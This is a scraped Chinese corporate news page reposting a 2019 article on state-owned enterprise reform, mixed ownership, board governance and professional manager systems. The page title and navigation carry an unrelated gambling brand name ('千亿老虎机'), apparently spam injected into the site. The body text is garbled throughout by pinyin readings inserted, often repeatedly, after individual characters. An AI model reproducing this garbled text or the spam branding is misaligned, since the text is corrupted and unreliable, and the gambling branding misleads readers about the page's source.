千亿老虎机

中建网群 | | 公(gong)司办公(gong)平台 | | |
 
千亿老虎机
方程新闻
通知公告
集团新闻
专题专栏
国资动态
行业新闻
图片新闻
产业布局
千亿老虎机>> 千亿老虎机>>行业新闻
以混改为重点深化国资国企改革
发(fa)布日期:2019-04-08 字号:[ ]

  未来国有(you)(you)企业改革的思(si)路(lu)和(he)(he)重点是要按(an)照完善社(she)会主义市(shi)场经(jing)济体(ti)制(zhi)的要求,实施国有(you)(you)经(jing)济战略(lve)性(xing)调整,优(you)化(hua)国有(you)(you)资(zi)本布局和(he)(he)结构,积极发展混合所有(you)(you)制(zhi)经(jing)济,加快完善企业法人治理(li)结构,建立(li)健全以(yi)管资(zi)本为主的国资(zi)监管体(ti)制(zhi),大幅提(ti)高国有(you)(you)资(zi)本运(yun)营(ying)和(he)(he)监管效率。

  以战略(lve)性行业为重点优化(hua)国有经济布局和结构

  第(di)一,加(jia)快(kuai)国(guo)(guo)有(you)(you)(you)(you)经(jing)济布(bu)局(ju)和(he)结(jie)构(gou)的(de)战略(lve)性(xing)调整(zheng)(zheng)。制定国(guo)(guo)有(you)(you)(you)(you)经(jing)济布(bu)局(ju)结(jie)构(gou)战略(lve)性(xing)调整(zheng)(zheng)规划,明确调整(zheng)(zheng)方向和(he)目(mu)标。继(ji)续(xu)按照“有(you)(you)(you)(you)进有(you)(you)(you)(you)退(tui)(tui)、有(you)(you)(you)(you)所(suo)为(wei)有(you)(you)(you)(you)所(suo)不为(wei)”、“进而(er)有(you)(you)(you)(you)为(wei)、退(tui)(tui)而(er)有(you)(you)(you)(you)序”的(de)原则,沿着(zhe)竞(jing)争性(xing)行(xing)业(ye)和(he)战略(lve)性(xing)、垄断性(xing)行(xing)业(ye)两条线,加(jia)快(kuai)国(guo)(guo)有(you)(you)(you)(you)经(jing)济布(bu)局(ju)和(he)结(jie)构(gou)调整(zheng)(zheng)步伐(fa)。在一般竞(jing)争性(xing)领域要退(tui)(tui)足、退(tui)(tui)够(gou),为(wei)民间投资者“进得来、稳(wen)得住”创造公平竞(jing)争环境。

  在竞争性行(xing)业,国有(you)(you)经(jing)济要按照市场化(hua)原(yuan)则,继(ji)续适当退出和(he)收缩战(zhan)线(xian),为(wei)民间(jian)资本(ben)和(he)民营经(jing)济发展创(chuang)造(zao)广阔市场空间(jian),有(you)(you)选择性地(di)保留(liu)的(de)竞争性国有(you)(you)企(qi)业应找准(zhun)市场定(ding)位,做强(qiang)(qiang)核心业务,增(zeng)强(qiang)(qiang)对核心技术和(he)专(zhuan)有(you)(you)技术的(de)研发能力,不(bu)断(duan)提(ti)高核心业务的(de)竞争力,成为(wei)带动行(xing)业发展的(de)核心引领力量。

  在(zai)关系国家安全和(he)(he)国民经济(ji)命脉的(de)(de)重要(yao)(yao)行(xing)业(ye)(ye)和(he)(he)关键领(ling)域,在(zai)适度(du)(du)加(jia)大国有资本投入(ru)力度(du)(du)、加(jia)强国有经济(ji)控制力的(de)(de)同时(shi),要(yao)(yao)放(fang)宽(kuan)行(xing)业(ye)(ye)准入(ru),引导社会(hui)资本、民间资本进入(ru),提高相关行(xing)业(ye)(ye)竞争(zheng)(zheng)性业(ye)(ye)务(wu)的(de)(de)市场竞争(zheng)(zheng)程度(du)(du),提高行(xing)业(ye)(ye)运(yun)行(xing)质(zhi)量和(he)(he)效率。相关国有企业(ye)(ye)要(yao)(yao)加(jia)快公司(si)制股份(fen)制改革步伐,完善公司(si)治(zhi)理(li)结构,提高公司(si)现代(dai)化(hua)、规范化(hua)管理(li)水(shui)平和(he)(he)企业(ye)(ye)国际竞争(zheng)(zheng)力。

  实施国(guo)有(you)(you)(you)企业(ye)(ye)分类改革,探索实行政策性和竞(jing)争性国(guo)有(you)(you)(you)企业(ye)(ye)分类管理(li)。推(tui)动具(ju)备条(tiao)件(jian)的(de)(de)国(guo)有(you)(you)(you)大型(xing)企业(ye)(ye)实现(xian)整体(ti)上(shang)市,不具(ju)备整体(ti)上(shang)市条(tiao)件(jian)的(de)(de)国(guo)有(you)(you)(you)大型(xing)企业(ye)(ye)要(yao)加(jia)快(kuai)股权(quan)多元(yuan)化改革,必(bi)须保持(chi)国(guo)有(you)(you)(you)独资的(de)(de)国(guo)有(you)(you)(you)大型(xing)企业(ye)(ye)要(yao)加(jia)快(kuai)公(gong)司制改革,建立和完(wan)善(shan)现(xian)代(dai)企业(ye)(ye)制度,完(wan)善(shan)国(guo)有(you)(you)(you)企业(ye)(ye)法人治理(li)结(jie)构。

  第二,分(fen)类推(tui)(tui)进国有(you)(you)(you)资(zi)本布局优(you)化。对于竞(jing)(jing)争(zheng)性行(xing)业(ye)(ye)(ye),要(yao)加(jia)大重组整合力(li)度,提高产业(ye)(ye)(ye)集中度,优(you)化资(zi)源配(pei)置(zhi),加(jia)快企(qi)业(ye)(ye)(ye)转型升级(ji),加(jia)快培育发展一(yi)批具(ju)有(you)(you)(you)较强竞(jing)(jing)争(zheng)力(li)的世界一(yi)流(liu)水平(ping)跨国公司。竞(jing)(jing)争(zheng)类企(qi)业(ye)(ye)(ye)应主要(yao)根(gen)据(ju)(ju)资(zi)本投资(zi)收(shou)益,优(you)化国有(you)(you)(you)资(zi)本投向,推(tui)(tui)动国有(you)(you)(you)产权流(liu)转,淘汰没有(you)(you)(you)竞(jing)(jing)争(zheng)优(you)势、长期亏(kui)损的企(qi)业(ye)(ye)(ye),加(jia)快处置(zhi)低效、无(wu)效及(ji)不(bu)良资(zi)产,提高竞(jing)(jing)争(zheng)能力(li)。一(yi)般竞(jing)(jing)争(zheng)性行(xing)业(ye)(ye)(ye)的国有(you)(you)(you)企(qi)业(ye)(ye)(ye)不(bu)作(zuo)为国有(you)(you)(you)资(zi)本的投资(zi)重点(dian),现(xian)有(you)(you)(you)企(qi)业(ye)(ye)(ye)依照(zhao)市(shi)场(chang)优(you)胜(sheng)劣(lie)汰的商业(ye)(ye)(ye)竞(jing)(jing)争(zheng)规则进行(xing)市(shi)场(chang)公平(ping)竞(jing)(jing)争(zheng),国家一(yi)般不(bu)给予(yu)特殊政(zheng)(zheng)策或项(xiang)目(mu)支持。重要(yao)行(xing)业(ye)(ye)(ye)和(he)关(guan)键领域应作(zuo)为国有(you)(you)(you)资(zi)本投资(zi)的重点(dian)方向,根(gen)据(ju)(ju)不(bu)同行(xing)业(ye)(ye)(ye)特点(dian),加(jia)大国有(you)(you)(you)资(zi)本投入,支持其在服务国家宏观调控、保障国家安(an)全和(he)国民(min)经济运(yun)行(xing)、完成(cheng)政(zheng)(zheng)府特定任务等方面(mian)发挥更大作(zuo)用。

  对基本(ben)公共(gong)服务类(lei)行(xing)业(ye),要加(jia)大国(guo)有(you)资本(ben)投(tou)入,提高公共(gong)服务的质量和效率,支持其在提供公共(gong)服务方(fang)面作(zuo)出更大贡献。进一(yi)步突出主业(ye),优(you)化公共(gong)服务业(ye)务资源配置,增强持续经营能力。加(jia)快优(you)化国(guo)有(you)资本(ben)战略布局(ju),按照制造业(ye)、服务业(ye)、金(jin)融业(ye)、投(tou)资类(lei)和科研类(lei)等不同产业(ye)类(lei)型(xing)进行(xing)分类(lei)管(guan)理和考核(he),促进国(guo)企(qi)改革重组、国(guo)有(you)资本(ben)“有(you)进有(you)退”。

  以建立法人产权制度为核心加快完善(shan)现(xian)代企业(ye)制度

  第(di)一,深入(ru)推进(jin)现代公司制(zhi)(zhi)(zhi)改革。不(bu)论是商业(ye)类还是公益(yi)类国(guo)有(you)企(qi)(qi)业(ye),其(qi)(qi)基本(ben)属(shu)性都是企(qi)(qi)业(ye),都是独立的市(shi)场(chang)(chang)主(zhu)体,经营机(ji)制(zhi)(zhi)(zhi)都必须适应市(shi)场(chang)(chang)经济的要求(qiu)。要加快推进(jin)现代企(qi)(qi)业(ye)制(zhi)(zhi)(zhi)度建设(she),按照市(shi)场(chang)(chang)决定(ding)资(zi)源配置的要求(qiu),依(yi)法独立自(zi)主(zhu)开展(zhan)生产经营活(huo)动。竞争类企(qi)(qi)业(ye)以市(shi)场(chang)(chang)为导向,引入(ru)社会(hui)资(zi)本(ben),积极发(fa)展(zhan)混(hun)合所(suo)有(you)制(zhi)(zhi)(zhi)经济,促(cu)进(jin)企(qi)(qi)业(ye)体制(zhi)(zhi)(zhi)机(ji)制(zhi)(zhi)(zhi)创新,打(da)造(zao)充满(man)生机(ji)活(huo)力的市(shi)场(chang)(chang)竞争主(zhu)体。重要骨干企(qi)(qi)业(ye)可(ke)(ke)保持实(shi)体(集团)公司形(xing)式,具备条件的可(ke)(ke)改组为国(guo)有(you)资(zi)本(ben)投(tou)资(zi)公司,其(qi)(qi)他企(qi)(qi)业(ye)可(ke)(ke)通过混(hun)合所(suo)有(you)制(zhi)(zhi)(zhi)改革或整体上市(shi)后由国(guo)有(you)资(zi)本(ben)运营公司持股。公益(yi)类国(guo)有(you)企(qi)(qi)业(ye)主(zhu)要采(cai)取实(shi)体(集团)公司形(xing)式,可(ke)(ke)根(gen)据业(ye)务特点推进(jin)所(suo)出资(zi)企(qi)(qi)业(ye)混(hun)合所(suo)有(you)制(zhi)(zhi)(zhi)改革。

  积极推进(jin)国(guo)有(you)企(qi)业(ye)整体上(shang)市。进(jin)一步明确政(zheng)府、国(guo)资监(jian)管(guan)部(bu)(bu)门(men)及企(qi)业(ye)的(de)(de)(de)(de)任(ren)务和(he)责任(ren),统筹规划(hua)并制(zhi)(zhi)定(ding)相关(guan)配套政(zheng)策。企(qi)业(ye)根据国(guo)家战(zhan)略(lve)和(he)实(shi)际发展需(xu)要(yao),在国(guo)资监(jian)管(guan)部(bu)(bu)门(men)指导(dao)下,“一企(qi)一策”制(zhi)(zhi)定(ding)整体上(shang)市的(de)(de)(de)(de)整体实(shi)施方案和(he)具体的(de)(de)(de)(de)操作细则。方案实(shi)施必须重视市场(chang)机制(zhi)(zhi)的(de)(de)(de)(de)作用,允(yun)许持(chi)股机构(gou)和(he)企(qi)业(ye)相机决策,不设置具体的(de)(de)(de)(de)进(jin)度要(yao)求和(he)强(qiang)制(zhi)(zhi)性(xing)的(de)(de)(de)(de)时间表。通过整体上(shang)市,强(qiang)化(hua)(hua)资本(ben)市场(chang)和(he)社会(hui)的(de)(de)(de)(de)外部(bu)(bu)监(jian)督,优化(hua)(hua)企(qi)业(ye)股权结构(gou)和(he)治理机制(zhi)(zhi),彻底实(shi)现国(guo)有(you)企(qi)业(ye)股权股份化(hua)(hua)、多(duo)元(yuan)化(hua)(hua),增强(qiang)国(guo)有(you)控股上(shang)市公司的(de)(de)(de)(de)激励约束(shu)机制(zhi)(zhi)。

  第二,进(jin)一步(bu)加强国有(you)企业(ye)董(dong)(dong)事(shi)会(hui)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)。董(dong)(dong)事(shi)会(hui)的(de)机(ji)(ji)(ji)构(gou)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)与机(ji)(ji)(ji)制(zhi)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)相辅相成,机(ji)(ji)(ji)构(gou)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)为机(ji)(ji)(ji)制(zhi)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)创(chuang)造条件,机(ji)(ji)(ji)制(zhi)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)也带动机(ji)(ji)(ji)构(gou)的(de)完善(shan)。当(dang)前国有(you)企业(ye)董(dong)(dong)事(shi)会(hui)试点在(zai)机(ji)(ji)(ji)构(gou)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)方(fang)面(mian)进(jin)展较(jiao)快(kuai),为后(hou)(hou)续(xu)改革(ge)打下良好基础,但机(ji)(ji)(ji)制(zhi)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)相对滞后(hou)(hou),拖累(lei)了国有(you)企业(ye)公司治理(li)的(de)完善(shan)。下一步(bu)董(dong)(dong)事(shi)会(hui)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)应以机(ji)(ji)(ji)制(zhi)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)为重(zhong)点,推动机(ji)(ji)(ji)构(gou)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)和机(ji)(ji)(ji)制(zhi)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)协同前进(jin)。机(ji)(ji)(ji)制(zhi)建(jian)(jian)(jian)(jian)设(she)(she)(she)(she)(she)的(de)核心是“落实权力、理(li)清责(ze)任、权责(ze)对等(deng)”。

  充分落(luo)实董(dong)事(shi)会(hui)的权力。随着部分国企董(dong)事(shi)会(hui)班子不断完(wan)善、能力不断提高,国资(zi)管理(li)部门可以对这些企业减(jian)少(shao)行政管理(li)事(shi)项(xiang),切实落(luo)实董(dong)事(shi)会(hui)的权力。

  完善(shan)董事(shi)的(de)追责和免(mian)责机制。国(guo)(guo)资(zi)管(guan)(guan)理部门(men)可(ke)以(yi)多种方式追究失职董事(shi)的(de)责任,可(ke)以(yi)通过考(kao)核免(mian)除失职董事(shi)的(de)职务,并向社会公(gong)示。国(guo)(guo)资(zi)管(guan)(guan)理部门(men)作为积极的(de)股东,以(yi)管(guan)(guan)资(zi)本为主加(jia)强国(guo)(guo)有资(zi)产监管(guan)(guan),监管(guan)(guan)方式应从事(shi)前审批向事(shi)中和事(shi)后监管(guan)(guan)转变。

  完善重大事(shi)(shi)项(xiang)的(de)(de)决策(ce)(ce)机(ji)制。企业董(dong)事(shi)(shi)会对(dui)重大事(shi)(shi)项(xiang)应遵循“集体决策(ce)(ce)、个人(ren)担责(ze)”的(de)(de)机(ji)制,避免出现“一把手(shou)”决策(ce)(ce)或(huo)者(zhe)无人(ren)担责(ze)的(de)(de)现象(xiang)。

  进一步加强(qiang)机(ji)构和(he)人才(cai)建设。在借鉴国内外(wai)经验的(de)基础(chu)上,进一步完(wan)善(shan)董(dong)事(shi)尤其(qi)是外(wai)部董(dong)事(shi)的(de)选拔机(ji)制,完(wan)善(shan)董(dong)事(shi)标准(zhun),拓宽人才(cai)渠道(dao)。

  第三,深(shen)(shen)化(hua)国有(you)企(qi)业人(ren)(ren)事制(zhi)度改(gai)革。深(shen)(shen)化(hua)国有(you)企(qi)业领导(dao)人(ren)(ren)员(yuan)管理(li)体(ti)制(zhi)改(gai)革。逐(zhu)步取消国有(you)企(qi)业的(de)行政(zheng)级别和类行政(zheng)化(hua)待遇,建立由董(dong)事会(hui)(hui)直(zhi)接选聘(pin)、考(kao)核与(yu)管理(li)经(jing)理(li)班(ban)子(zi)的(de)新机制(zhi)。按(an)照现代企(qi)业制(zhi)度的(de)要(yao)求,规范企(qi)业股(gu)东会(hui)(hui)、董(dong)事会(hui)(hui)、监事会(hui)(hui)和经(jing)营管理(li)层(ceng)的(de)责权。完善董(dong)事会(hui)(hui)制(zhi)度,提高外部(bu)董(dong)事比例,试点外部(bu)董(dong)事担(dan)任董(dong)事长。落实董(dong)事会(hui)(hui)选聘(pin)、考(kao)核、奖惩经(jing)理(li)班(ban)子(zi)的(de)相关(guan)职权,实现企(qi)业决(jue)策权与(yu)经(jing)营权的(de)分离。

  建立健全(quan)职业(ye)(ye)(ye)经理(li)制(zhi)度。以(yi)国企高管(guan)合同(tong)制(zhi)、年薪制(zhi)、任期制(zhi)和市(shi)场化选聘(pin)作为国企全(quan)面(mian)推行职业(ye)(ye)(ye)经理(li)人(ren)制(zhi)度的(de)突破口(kou),逐步(bu)弱化和取消国有(you)企业(ye)(ye)(ye)及(ji)其经营管(guan)理(li)人(ren)员(yuan)的(de)半行政化身份(fen),推进国有(you)企业(ye)(ye)(ye)管(guan)理(li)人(ren)才(cai)市(shi)场化改革,建立有(you)进有(you)出(chu)、能上(shang)能下的(de)管(guan)理(li)人(ren)才(cai)流动和配置机制(zhi)。通过走(zou)“市(shi)场化”去(qu)“行政化”,打造符(fu)合现代企业(ye)(ye)(ye)要求的(de)国企职业(ye)(ye)(ye)经理(li)人(ren)队伍。构(gou)建职业(ye)(ye)(ye)经理(li)人(ren)市(shi)场治理(li)体系(xi),培育统一开放竞(jing)争(zheng)有(you)序的(de)职业(ye)(ye)(ye)经理(li)人(ren)市(shi)场。

  加快(kuai)完(wan)善企(qi)业(ye)(ye)人(ren)事和薪(xin)(xin)酬(chou)激励制(zhi)度(du)。推(tui)进国有(you)企(qi)业(ye)(ye)人(ren)力资源市(shi)场(chang)(chang)化改(gai)革,推(tui)动(dong)国企(qi)内(nei)部管理(li)人(ren)员(yuan)能(neng)(neng)(neng)(neng)上能(neng)(neng)(neng)(neng)下(xia)、员(yuan)工(gong)能(neng)(neng)(neng)(neng)进能(neng)(neng)(neng)(neng)出、收入能(neng)(neng)(neng)(neng)增能(neng)(neng)(neng)(neng)减的制(zhi)度(du)改(gai)革。国有(you)企(qi)业(ye)(ye)管理(li)人(ren)员(yuan)和员(yuan)工(gong)原则上都要实施市(shi)场(chang)(chang)化择(ze)优选聘,同(tong)时要完(wan)善激励约束机制(zhi),合理(li)确(que)定国企(qi)干部职工(gong)的薪(xin)(xin)酬(chou)水平和职务(wu)待遇。

  以完善治理为(wei)中(zhong)心积极推进(jin)国企混合所有制改(gai)革

  首先要优化混合所有(you)(you)制(zhi)企业股(gu)(gu)权(quan)结(jie)构(gou)。把优化股(gu)(gu)权(quan)结(jie)构(gou)作为混合所有(you)(you)制(zhi)改革的(de)突(tu)(tu)破口(kou),除国(guo)(guo)(guo)有(you)(you)资(zi)本必须(xu)保持独资(zi)、绝对(dui)控(kong)股(gu)(gu)的(de)特殊国(guo)(guo)(guo)有(you)(you)企业外,混合所有(you)(you)制(zhi)改革要突(tu)(tu)破“股(gu)(gu)比限(xian)制(zhi)”的(de)思维方式,改变(bian)(bian)国(guo)(guo)(guo)有(you)(you)股(gu)(gu)一(yi)股(gu)(gu)独大、内部人控(kong)制(zhi)局面,建立各类股(gu)(gu)东(dong)利益风(feng)险(xian)共(gong)担(dan)、相互制(zhi)衡约束的(de)有(you)(you)效治理结(jie)构(gou),切实转变(bian)(bian)企业经营机制(zhi)。

  要加快在竞争性行(xing)业(ye)领(ling)域(yu)发展混(hun)(hun)合所有制(zhi)(zhi)(zhi)经济,优(you)化(hua)股(gu)权结构,着重(zhong)(zhong)解决国(guo)有企(qi)业(ye)股(gu)权比例过于集中、市(shi)场化(hua)运行(xing)机(ji)制(zhi)(zhi)(zhi)不健全问(wen)题。发挥各类(lei)资本取(qu)长补短、相(xiang)互促进(jin)作(zuo)用,实现资源的有效配置,推动混(hun)(hun)合所有制(zhi)(zhi)(zhi)企(qi)业(ye)从追求形(xing)式(shi)和数量的“粗放式(shi)”混(hun)(hun)合,向更为重(zhong)(zhong)视(shi)发展内涵(han)和质(zhi)量的“集约式(shi)”混(hun)(hun)合转变(bian),真正促进(jin)国(guo)有企(qi)业(ye)体(ti)制(zhi)(zhi)(zhi)机(ji)制(zhi)(zhi)(zhi)转换(huan)和市(shi)场主体(ti)地位形(xing)成。

  国(guo)有(you)(you)(you)资(zi)本可采取相对控股(gu)(gu)或(huo)参股(gu)(gu)方式,允许非公资(zi)本持股(gu)(gu)比例超过三分之一甚至超过一半,使出资(zi)人真正到位,建立用(yong)手投票(piao)而不是“用(yong)脚投票(piao)”的机(ji)制(zhi),让(rang)各(ge)类(lei)(lei)股(gu)(gu)东在(zai)公司(si)决策和(he)治(zhi)理中都能发挥应有(you)(you)(you)作(zuo)用(yong)。因此,从完善治(zhi)理、强(qiang)化激励(li)、激发企(qi)业活力(li)目的出发,必须(xu)把优化股(gu)(gu)权(quan)(quan)结(jie)构(gou)作(zuo)为(wei)混合所有(you)(you)(you)制(zhi)改革的突破口,积极引入各(ge)类(lei)(lei)投资(zi)者(zhe),竞争性领域(yu)国(guo)有(you)(you)(you)资(zi)本持股(gu)(gu)比例不设(she)下(xia)限,以(yi)市场(chang)为(wei)导向鼓(gu)励(li)企(qi)业兼(jian)并重组(zu),根据国(guo)家战略需(xu)要和(he)公司(si)发展实际设(she)置(zhi)股(gu)(gu)权(quan)(quan)结(jie)构(gou)。探(tan)索建立国(guo)有(you)(you)(you)股(gu)(gu)东“金股(gu)(gu)”制(zhi)度(du),通过约定(ding)对特定(ding)事项的否决权(quan)(quan),确(que)保国(guo)有(you)(you)(you)资(zi)本在(zai)特定(ding)领域(yu)的控制(zhi)力(li)。

  其次,要(yao)切实(shi)转变混合所有(you)制企(qi)(qi)业(ye)激(ji)(ji)励约(yue)束(shu)机制。混合所有(you)制改革不仅仅要(yao)实(shi)现(xian)投资主(zhu)体(ti)的(de)(de)多(duo)元化(hua),重(zhong)点还在(zai)于是否实(shi)现(xian)了(le)混合所有(you)制企(qi)(qi)业(ye)内(nei)部机制的(de)(de)真正转变,通过融(rong)合民营(ying)企(qi)(qi)业(ye)机制灵活、效(xiao)率高和国有(you)企(qi)(qi)业(ye)管理(li)规范(fan)的(de)(de)优势,完(wan)善治理(li)、强化(hua)激(ji)(ji)励,建立起产权清晰、权责明确、决策民主(zhu)、管理(li)科学、富(fu)有(you)效(xiao)率的(de)(de)现(xian)代企(qi)(qi)业(ye)制度,提(ti)升企(qi)(qi)业(ye)运行效(xiao)率和价值创造能力。

  要构(gou)建科(ke)学(xue)的(de)公(gong)司治(zhi)理(li)(li),设置合理(li)(li)的(de)股(gu)权结构(gou),既要防止出(chu)现一(yi)股(gu)独大,也要避免股(gu)权过于分(fen)(fen)散(san)。合理(li)(li)分(fen)(fen)配(pei)各类(lei)股(gu)东(dong)(dong)在董事会的(de)席(xi)位,充分(fen)(fen)保障(zhang)各类(lei)股(gu)东(dong)(dong)特别是非公(gong)有股(gu)东(dong)(dong)的(de)代表性和发言权。

  坚决推(tui)进国(guo)企高(gao)管(guan)(guan)和(he)职工的(de)(de)身份转(zhuan)化(hua)(hua),推(tui)动(dong)国(guo)有(you)企业(ye)(ye)去(qu)(qu)行政化(hua)(hua),建立(li)(li)市(shi)场(chang)化(hua)(hua)的(de)(de)选(xuan)人(ren)(ren)(ren)用人(ren)(ren)(ren)用工和(he)分(fen)配机(ji)(ji)制(zhi)(zhi)。混(hun)合(he)所(suo)有(you)制(zhi)(zhi)企业(ye)(ye)的(de)(de)经(jing)(jing)理人(ren)(ren)(ren)团队应坚持市(shi)场(chang)化(hua)(hua)、社会(hui)化(hua)(hua)、去(qu)(qu)行政化(hua)(hua)、去(qu)(qu)官本位。混(hun)合(he)所(suo)有(you)制(zhi)(zhi)企业(ye)(ye)要实行职业(ye)(ye)经(jing)(jing)理人(ren)(ren)(ren)制(zhi)(zhi)度,通过市(shi)场(chang)化(hua)(hua)方式选(xuan)聘经(jing)(jing)理人(ren)(ren)(ren),明确将企业(ye)(ye)核(he)心管(guan)(guan)理层的(de)(de)身份由类行政事业(ye)(ye)编制(zhi)(zhi)完全转(zhuan)为企业(ye)(ye)编制(zhi)(zhi),其(qi)任命权真正由组(zu)织部门(men)转(zhuan)到企业(ye)(ye)的(de)(de)董事会(hui)。给予核(he)心管(guan)(guan)理层阳光(guang)持股,使他们(men)的(de)(de)切(qie)身利益和(he)企业(ye)(ye)利益最大程度一致(zhi)化(hua)(hua),使其(qi)经(jing)(jing)营管(guan)(guan)理潜能(neng)得到充(chong)分(fen)释放。建立(li)(li)奖(jiang)惩分(fen)明的(de)(de)绩效管(guan)(guan)理制(zhi)(zhi)度和(he)员工激励机(ji)(ji)制(zhi)(zhi),调动(dong)全体员工的(de)(de)积极性。

  最(zui)后,要规范有序推进混(hun)合所(suo)有制改革。混(hun)合所(suo)有制改革的实(shi)施(shi)过程和操(cao)作细则同样决定着改革的成败。改革必须自上而下(xia)进行总(zong)体规范和设计,并与(yu)尊重基(ji)层(ceng)创(chuang)新经验相结合。

  推进混(hun)合所有制(zhi)(zhi)应履(lv)行(xing)法律(lv)法规明确的(de)(de)程序,完(wan)善国有资(zi)(zi)产(chan)评估定价(jia)机制(zhi)(zhi),进一步优化程序,更(geng)多通(tong)过公开的(de)(de)、全国性资(zi)(zi)本(ben)市(shi)(shi)场和(he)产(chan)权股(gu)权交(jiao)易市(shi)(shi)场,提高资(zi)(zi)本(ben)市(shi)(shi)场运行(xing)效率,发现企业(ye)有形(xing)与无形(xing)资(zi)(zi)产(chan)价(jia)格,推动(dong)相关配套制(zhi)(zhi)度建(jian)设(she)和(he)监管(guan)改革,从(cong)制(zhi)(zhi)度设(she)计上(shang)避免(mian)国有资(zi)(zi)产(chan)流失(shi)。

  提高(gao)国(guo)企(qi)改(gai)革(ge)配(pei)套(tao)(tao)(tao)(tao)政(zheng)策(ce)文(wen)(wen)件(jian)整体性(xing)协调性(xing)。混合(he)(he)(he)(he)所(suo)有(you)制(zhi)改(gai)革(ge)要高(gao)度(du)重视协调配(pei)套(tao)(tao)(tao)(tao),对相(xiang)关配(pei)套(tao)(tao)(tao)(tao)文(wen)(wen)件(jian)进行(xing)系统规范梳理,注重配(pei)套(tao)(tao)(tao)(tao)政(zheng)策(ce)之间(jian)衔(xian)接和前后(hou)出台(tai)政(zheng)策(ce)的(de)(de)(de)(de)连续和衔(xian)接,修(xiu)改(gai)不符合(he)(he)(he)(he)中央要求和混合(he)(he)(he)(he)所(suo)有(you)制(zhi)改(gai)革(ge)方(fang)(fang)向的(de)(de)(de)(de)政(zheng)策(ce)规定,增(zeng)强(qiang)国(guo)企(qi)改(gai)革(ge)系列配(pei)套(tao)(tao)(tao)(tao)文(wen)(wen)件(jian)的(de)(de)(de)(de)整体性(xing)、协调性(xing)。赋予地(di)方(fang)(fang)和企(qi)业更多、更大(da)改(gai)革(ge)自主权(quan)和先行(xing)先试的(de)(de)(de)(de)权(quan)力,允许(xu)地(di)方(fang)(fang)结(jie)合(he)(he)(he)(he)实际,对系列配(pei)套(tao)(tao)(tao)(tao)文(wen)(wen)件(jian)进行(xing)综合(he)(he)(he)(he)、整合(he)(he)(he)(he),减(jian)少配(pei)套(tao)(tao)(tao)(tao)文(wen)(wen)件(jian)数(shu)量,出台(tai)地(di)方(fang)(fang)国(guo)企(qi)改(gai)革(ge)和混合(he)(he)(he)(he)所(suo)有(you)制(zhi)改(gai)革(ge)综合(he)(he)(he)(he)性(xing)文(wen)(wen)件(jian),消除(chu)众多文(wen)(wen)件(jian)之间(jian)相(xiang)互掣肘的(de)(de)(de)(de)问题(ti),为国(guo)有(you)企(qi)业混合(he)(he)(he)(he)所(suo)有(you)制(zhi)改(gai)革(ge)构建制(zhi)度(du)和政(zheng)策(ce)基础。

  出台(tai)针对(dui)性(xing)的(de)国企(qi)(qi)混(hun)合(he)所(suo)有(you)(you)制(zhi)(zhi)改革(ge)支持(chi)政(zheng)策(ce)(ce)。针对(dui)现有(you)(you)国企(qi)(qi)改革(ge)、混(hun)合(he)所(suo)有(you)(you)制(zhi)(zhi)改革(ge)政(zheng)策(ce)(ce)文件偏(pian)向(xiang)于宏观指导性(xing)、原(yuan)则性(xing)的(de)特征,出台(tai)可操作(zuo)性(xing)强的(de)配(pei)套政(zheng)策(ce)(ce)和(he)具(ju)体(ti)支持(chi)措施,着(zhe)力建(jian)立(li)健全(quan)激励性(xing)、支持(chi)性(xing)优(you)惠(hui)政(zheng)策(ce)(ce)。在(zai)混(hun)合(he)所(suo)有(you)(you)制(zhi)(zhi)企(qi)(qi)业(ye)(ye)管(guan)理层(ceng)持(chi)股、国企(qi)(qi)员工身(shen)份置换补(bu)偿、国有(you)(you)企(qi)(qi)业(ye)(ye)解(jie)决社会包袱和(he)历(li)史遗留问题、混(hun)合(he)所(suo)有(you)(you)制(zhi)(zhi)改革(ge)费用补(bu)偿等众(zhong)多方面出台(tai)针对(dui)性(xing)优(you)惠(hui)政(zheng)策(ce)(ce),以充分调(diao)动(dong)国有(you)(you)企(qi)(qi)业(ye)(ye)和(he)社会资本参(can)与混(hun)合(he)所(suo)有(you)(you)制(zhi)(zhi)改革(ge)的(de)积(ji)极性(xing)、主动(dong)性(xing)。

  建立鼓励改(gai)革(ge)创(chuang)新的(de)(de)容(rong)错机制形成改(gai)革(ge)合力。当(dang)前国资国企改(gai)革(ge)正(zheng)处(chu)于(yu)(yu)攻(gong)坚克难的(de)(de)关(guan)键(jian)阶段,需(xu)要进一(yi)步统一(yi)思想认识,凝聚(ju)改(gai)革(ge)共识。要加快建立混改(gai)容(rong)错机制,允(yun)许(xu)犯错、试(shi)错,对(dui)于(yu)(yu)由(you)于(yu)(yu)决策(ce)、操(cao)作失误(wu)而导(dao)致的(de)(de)一(yi)些问题,应有(you)足够的(de)(de)宽容(rong)。对(dui)于(yu)(yu)改(gai)革(ge)方向正(zheng)确,没有(you)原则性的(de)(de)失误(wu)和错误(wu),应当(dang)采(cai)取包容(rong)的(de)(de)态度,鼓励大胆(dan)改(gai)革(ge)和创(chuang)新。当(dang)然,对(dui)于(yu)(yu)人为主观谋取私利、暗箱操(cao)作行为,要依(yi)法惩处(chu),决不姑息。

  以(yi)管资本为(wei)主完善国资国企(qi)监管体制

